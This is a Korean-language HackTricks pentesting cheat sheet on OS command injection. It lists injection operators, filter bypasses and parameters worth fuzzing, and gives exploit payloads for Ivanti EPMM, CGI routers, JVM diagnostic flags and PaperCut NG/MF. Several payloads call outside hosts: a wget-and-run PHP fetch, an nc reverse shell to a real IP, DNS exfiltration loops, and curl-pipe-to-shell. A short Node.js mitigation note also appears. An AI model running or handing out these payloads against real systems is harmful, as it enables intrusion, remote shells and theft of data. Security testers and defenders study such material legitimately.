Command Injection

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command Injection์ด๋ž€?

command injection๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ํ˜ธ์ŠคํŒ…ํ•˜๋Š” ์„œ๋ฒ„์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜์˜ ์šด์˜์ฒด์ œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•œ๋‹ค. ๊ทธ ๊ฒฐ๊ณผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ๊ทธ์— ์ €์žฅ๋œ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๊ฐ€ ์™„์ „ํžˆ ์นจํ•ด๋  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ช…๋ น์˜ ์‹คํ–‰์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํ™˜๊ฒฝ ๋ฐ ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ๋ฌด๋‹จ ์ ‘๊ทผ ๋˜๋Š” ์ œ์–ด ๊ถŒํ•œ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค.

Context

์ž…๋ ฅ์ด ์‚ฝ์ž…๋˜๋Š” ์œ„์น˜์— ๋”ฐ๋ผ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ธ์ง„ ์ปจํ…์ŠคํŠธ๋ฅผ ์ข…๋ฃŒ(" ๋˜๋Š” ' ์‚ฌ์šฉ)ํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ๋‹ค.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2ยบ if 1ยบ finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2ยบ
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

์ œํ•œ Bypasses

๋งŒ์•ฝ ๋‹น์‹ ์ด arbitrary commands inside a linux machine๋ฅผ ์‹คํ–‰ํ•˜๋ ค๊ณ  ํ•œ๋‹ค๋ฉด, ์ด **Bypasses:**๋ฅผ ์ฝ์–ด๋ณด๋Š” ๊ฒƒ์ด ๋„์›€์ด ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Bypass Linux Restrictions

์˜ˆ์ œ

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

RewriteMap/CGI-style ์Šคํฌ๋ฆฝํŠธ์—์„œ์˜ Bash ์‚ฐ์ˆ  ํ‰๊ฐ€

RewriteMap ํ—ฌํผ๋Š” bash๋กœ ์ž‘์„ฑ๋œ ๊ฒฝ์šฐ๊ฐ€ ์žˆ์œผ๋ฉฐ, ์ฟผ๋ฆฌ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ „์—ญ ๋ณ€์ˆ˜๋กœ ๋ฐ€์–ด๋„ฃ๊ณ  ์ดํ›„ arithmetic contexts ([[ $a -gt $b ]], $((...)), let)์—์„œ ๋น„๊ตํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฐ์ˆ  ํ™•์žฅ์€ ๋‚ด์šฉ์„ ์žฌํ† ํฐํ™”ํ•˜๋ฏ€๋กœ, ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ณ€์ˆ˜ ์ด๋ฆ„์ด๋‚˜ ๋ฐฐ์—ด ์ฐธ์กฐ๊ฐ€ ๋‘ ๋ฒˆ ํ™•์žฅ๋˜์–ด ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Pattern seen in Ivanti EPMM RewriteMap helpers:

  1. ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์ „์—ญ์œผ๋กœ ๋งคํ•‘๋จ (st โ†’ gStartTime, h โ†’ theValue).
  2. ์ดํ›„ ๊ฒ€์‚ฌ:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. st=theValue๋ฅผ ์ „์†กํ•˜๋ฉด gStartTime์ด ๋ฌธ์ž์—ด theValue๋ฅผ ๊ฐ€๋ฆฌํ‚ต๋‹ˆ๋‹ค.
  2. h=gPath['sleep 5']๋ฅผ ์ „์†กํ•˜๋ฉด theValue๊ฐ€ ๋ฐฐ์—ด ์ธ๋ฑ์Šค๋ฅผ ํฌํ•จํ•˜๊ฒŒ ๋˜๊ณ ; ์‚ฐ์ˆ  ๊ฒ€์‚ฌ ์ค‘์— sleep 5๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค(์‹ค์ œ ํŽ˜์ด๋กœ๋“œ๋กœ ๊ต์ฒด).

Probe (~5s delay then 404 if vulnerable):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

์ฐธ๊ณ :

  • ๋‹ค๋ฅธ ์ ‘๋‘์‚ฌ ์•„๋ž˜์—์„œ ๋™์ผํ•œ helper๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”(์˜ˆ: /mifs/c/aftstore/fob/).
  • ์‚ฐ์ˆ  ์ปจํ…์ŠคํŠธ์—์„œ๋Š” ์•Œ ์ˆ˜ ์—†๋Š” ํ† ํฐ์„ ๋ณ€์ˆ˜/๋ฐฐ์—ด ์‹๋ณ„์ž(variable/array identifier)๋กœ ์ทจ๊ธ‰ํ•˜๋ฏ€๋กœ, ์ด๋Š” ๋‹จ์ˆœํ•œ ๋ฉ”ํƒ€๋ฌธ์ž ํ•„ํ„ฐ๋ฅผ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค.

Parameters

๋‹ค์Œ์€ code injection ๋ฐ ์œ ์‚ฌํ•œ RCE ์ทจ์•ฝ์ ์— ๋…ธ์ถœ๋  ์ˆ˜ ์žˆ๋Š” ์ƒ์œ„ 25๊ฐœ ํŒŒ๋ผ๋ฏธํ„ฐ์ž…๋‹ˆ๋‹ค (์ถœ์ฒ˜: link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

๋ฐ์ดํ„ฐ ์ถ”์ถœ: char by char

swissky@crashlabโ–ธ ~ โ–ธ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlabโ–ธ ~ โ–ธ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

https://github.com/HoLyVieR/dnsbin์˜ ๋„๊ตฌ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋ฉฐ, dnsbin.zhack.ca์—๋„ ํ˜ธ์ŠคํŒ…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

DNS ๊ธฐ๋ฐ˜ data exfiltration์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•œ ์˜จ๋ผ์ธ ๋„๊ตฌ:

  • dnsbin.zhack.ca
  • pingb.in

ํ•„ํ„ฐ๋ง ์šฐํšŒ

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

JavaScript/TypeScript ๋ฐฑ์—”๋“œ๋ฅผ ๊ฐ์‚ฌํ•  ๋•Œ ์ข…์ข… Node.js child_process API๋ฅผ ์ ‘ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* โ€ฆ */
});

exec()๋Š” shell (/bin/sh -c)์„ ์‹คํ–‰ํ•˜๋ฏ€๋กœ, shell์— ํŠน๋ณ„ํ•œ ์˜๋ฏธ๋ฅผ ๊ฐ–๋Š” ๋ชจ๋“  ๋ฌธ์ž(๋ฐฑํ‹ฑ, ;, &&, |, $(), โ€ฆ)๋Š” ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๋ฌธ์ž์—ด์— ์—ฐ๊ฒฐ๋  ๋•Œ command injection์„ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.

์™„ํ™”: execFile()(๋˜๋Š” spawn()์„ shell ์˜ต์…˜ ์—†์ด ์‚ฌ์šฉ)ํ•˜๊ณ  ๊ฐ ์ธ์ˆ˜๋ฅผ ๋ณ„๋„์˜ ๋ฐฐ์—ด ์š”์†Œ๋กœ ์ œ๊ณตํ•˜์—ฌ shell์ด ๊ฐœ์ž…ํ•˜์ง€ ์•Š๋„๋ก ํ•˜์„ธ์š”:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos โ‰ค 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

๋ชจ๋“  injections๊ฐ€ shell metacharacters๋ฅผ ํ•„์š”๋กœ ํ•˜๋Š” ๊ฒƒ์€ ์•„๋‹™๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋ฌธ์ž์—ด์„ ์‹œ์Šคํ…œ ์œ ํ‹ธ๋ฆฌํ‹ฐ์˜ ์ธ์ˆ˜๋กœ ์ „๋‹ฌํ•  ๊ฒฝ์šฐ(์‹ฌ์ง€์–ด execve/execFile๋กœ ์‰˜์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š์„ ๋•Œ๋„), ๋งŽ์€ ํ”„๋กœ๊ทธ๋žจ์€ - ๋˜๋Š” --๋กœ ์‹œ์ž‘ํ•˜๋Š” ์ธ์ˆ˜๋ฅผ ์˜ต์…˜์œผ๋กœ ํ•ด์„ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” ์‰˜์— ์ง„์ž…ํ•˜์ง€ ์•Š๊ณ ๋„ ๋ชจ๋“œ๋ฅผ ์ „ํ™˜ํ•˜๊ฑฐ๋‚˜ ์ถœ๋ ฅ ๊ฒฝ๋กœ๋ฅผ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ์œ„ํ—˜ํ•œ ๋™์ž‘์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Typical places where this appears:

  • Embedded web UIs/CGI handlers๊ฐ€ ping <user>, tcpdump -i <iface> -w <file>, curl <url> ๋“ฑ์˜ ๋ช…๋ น์„ ๊ตฌ์„ฑํ•  ๋•Œ.
  • Centralized CGI routers (์˜ˆ: /cgi-bin/<something>.cgi์—์„œ topicurl=<handler> ๊ฐ™์€ selector ํŒŒ๋ผ๋ฏธํ„ฐ ์‚ฌ์šฉ) โ€” ์—ฌ๋Ÿฌ handler๊ฐ€ ๋™์ผํ•œ ์•ฝํ•œ validator๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ.

What to try:

  • ๋‹ค์šด์ŠคํŠธ๋ฆผ ํˆด์—์„œ ํ”Œ๋ž˜๊ทธ๋กœ ํ•ด์„๋˜๋„๋ก -/--๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฐ’์„ ๋„ฃ์–ด๋ณด์„ธ์š”.
  • ๋™์ž‘์„ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ํŒŒ์ผ์„ ์“ฐ๋Š” ํ”Œ๋ž˜๊ทธ๋ฅผ ์•…์šฉํ•ด๋ณด์„ธ์š”. ์˜ˆ:
    • ping: -f/-c 100000 โ€” ์žฅ์น˜๋ฅผ ๊ณผ๋ถ€ํ•˜์‹œํ‚ค๊ธฐ ์œ„ํ•ด (DoS)
    • curl: -o /tmp/x โ€” ์ž„์˜ ๊ฒฝ๋กœ์— ์“ฐ๊ธฐ, -K <url> โ€” ๊ณต๊ฒฉ์ž ์ œ์–ด config ๋กœ๋“œ
    • tcpdump: -G 1 -W 1 -z /path/script.sh โ€” unsafe wrappers์—์„œ post-rotate ์‹คํ–‰ ๋‹ฌ์„ฑ
  • ํ”„๋กœ๊ทธ๋žจ์ด -- end-of-options๋ฅผ ์ง€์›ํ•˜๋ฉด, ์ž˜๋ชป๋œ ์œ„์น˜์— --๋ฅผ ์„ ํ–‰ํ•˜๋Š” ๋‹จ์ˆœํ•œ ์™„ํ™”์ฑ…์„ ์šฐํšŒํ•ด ๋ณด์„ธ์š”.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM ์ง„๋‹จ ์ฝœ๋ฐฑ์„ ํ†ตํ•œ ๋ณด์žฅ๋œ exec

Any primitive that lets you inject JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) can be turned into a reliable RCE without touching application bytecode:

  1. ๋ฉ”ํƒ€์ŠคํŽ˜์ด์Šค๋‚˜ ํž™์„ ์ถ•์†Œํ•˜์—ฌ ๊ฒฐ์ •๋ก ์  ์ถฉ๋Œ์„ ๊ฐ•์ œ: -XX:MaxMetaspaceSize=16m (๋˜๋Š” ์•„์ฃผ ์ž‘์€ -Xmx). ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์ดˆ๊ธฐ ๋ถ€ํŠธ์ŠคํŠธ๋žฉ ์ค‘์—๋„ OutOfMemoryError๊ฐ€ ๋ณด์žฅ๋ฉ๋‹ˆ๋‹ค.
  2. ์˜ค๋ฅ˜ ํ›…์„ ์—ฐ๊ฒฐ: -XX:OnOutOfMemoryError="<cmd>" ๋˜๋Š” -XX:OnError="<cmd>"๋Š” JVM์ด ๋น„์ •์ƒ ์ข…๋ฃŒ๋  ๋•Œ๋งˆ๋‹ค ์ž„์˜์˜ OS ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  3. ์„ ํƒ์ ์œผ๋กœ -XX:+CrashOnOutOfMemoryError๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ๋ณต๊ตฌ ์‹œ๋„๋ฅผ ๋ฐฉ์ง€ํ•˜๊ณ  payload๋ฅผ ์ผํšŒ์„ฑ์œผ๋กœ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์ œ payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see Localhost WebSocket abuse) therefore translate directly into OS command execution.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • ์ทจ์•ฝํ•œ NG/MF ๋นŒ๋“œ(์˜ˆ: 22.0.5 Build 63914)๋Š” /app?service=page/SetupCompleted๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค; ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ์—ด๊ณ  Login์„ ํด๋ฆญํ•˜๋ฉด ์ž๊ฒฉ ์ฆ๋ช… ์—†์ด ์œ ํšจํ•œ JSESSIONID๊ฐ€ ๋ฐ˜ํ™˜๋ฉ๋‹ˆ๋‹ค (์„ค์ • ํ๋ฆ„์—์„œ์˜ ์ธ์ฆ ์šฐํšŒ).
  • Options โ†’ Config Editor์—์„œ print-and-device.script.enabled=Y์™€ print.script.sandboxed=N๋กœ ์„ค์ •ํ•˜์—ฌ ํ”„๋ฆฐํ„ฐ ์Šคํฌ๋ฆฝํŒ…์„ ํ™œ์„ฑํ™”ํ•˜๊ณ  ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.
  • ํ”„๋ฆฐํ„ฐ์˜ Scripting ํƒญ์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ™œ์„ฑํ™”ํ•˜๊ณ  ๊ฒ€์ฆ ์˜ค๋ฅ˜๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด printJobHook์„ ์ •์˜๋œ ์ƒํƒœ๋กœ ์œ ์ง€ํ•˜๋˜, ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ•จ์ˆ˜ outside์— ๋‘์–ด Apply๋ฅผ ํด๋ฆญํ•˜๋ฉด ์ฆ‰์‹œ ์‹คํ–‰๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค(ํ”„๋ฆฐํŠธ ์ž‘์—… ๋ถˆํ•„์š”):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • ์ฝœ๋ฐฑ์„ reverse shell๋กœ ๊ต์ฒดํ•˜์„ธ์š”; UI/PoC๊ฐ€ pipes/redirects๋ฅผ ์ฒ˜๋ฆฌํ•˜์ง€ ๋ชปํ•˜๋ฉด, payload๋ฅผ ํ•œ ๋ฒˆ์˜ ๋ช…๋ น์œผ๋กœ stageํ•˜๊ณ  ๋‘ ๋ฒˆ์งธ ์š”์ฒญ์—์„œ execํ•˜์„ธ์š”.
  • Horizon3์˜ CVE-2023-27350.py๋Š” auth bypass, config flips, command execution, ๋ฐ rollback์„ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค โ€” ์„œ๋น„์Šค๊ฐ€ ๋‚ด๋ถ€์—์„œ๋งŒ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•  ๋•Œ๋Š” ์—…์ŠคํŠธ๋ฆผ ํ”„๋ก์‹œ(์˜ˆ: proxychains โ†’ Squid)๋ฅผ ํ†ตํ•ด ์‹คํ–‰ํ•˜์„ธ์š”.

๋ธŒ๋ฃจํŠธํฌ์Šค ํƒ์ง€ ๋ชฉ๋ก

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
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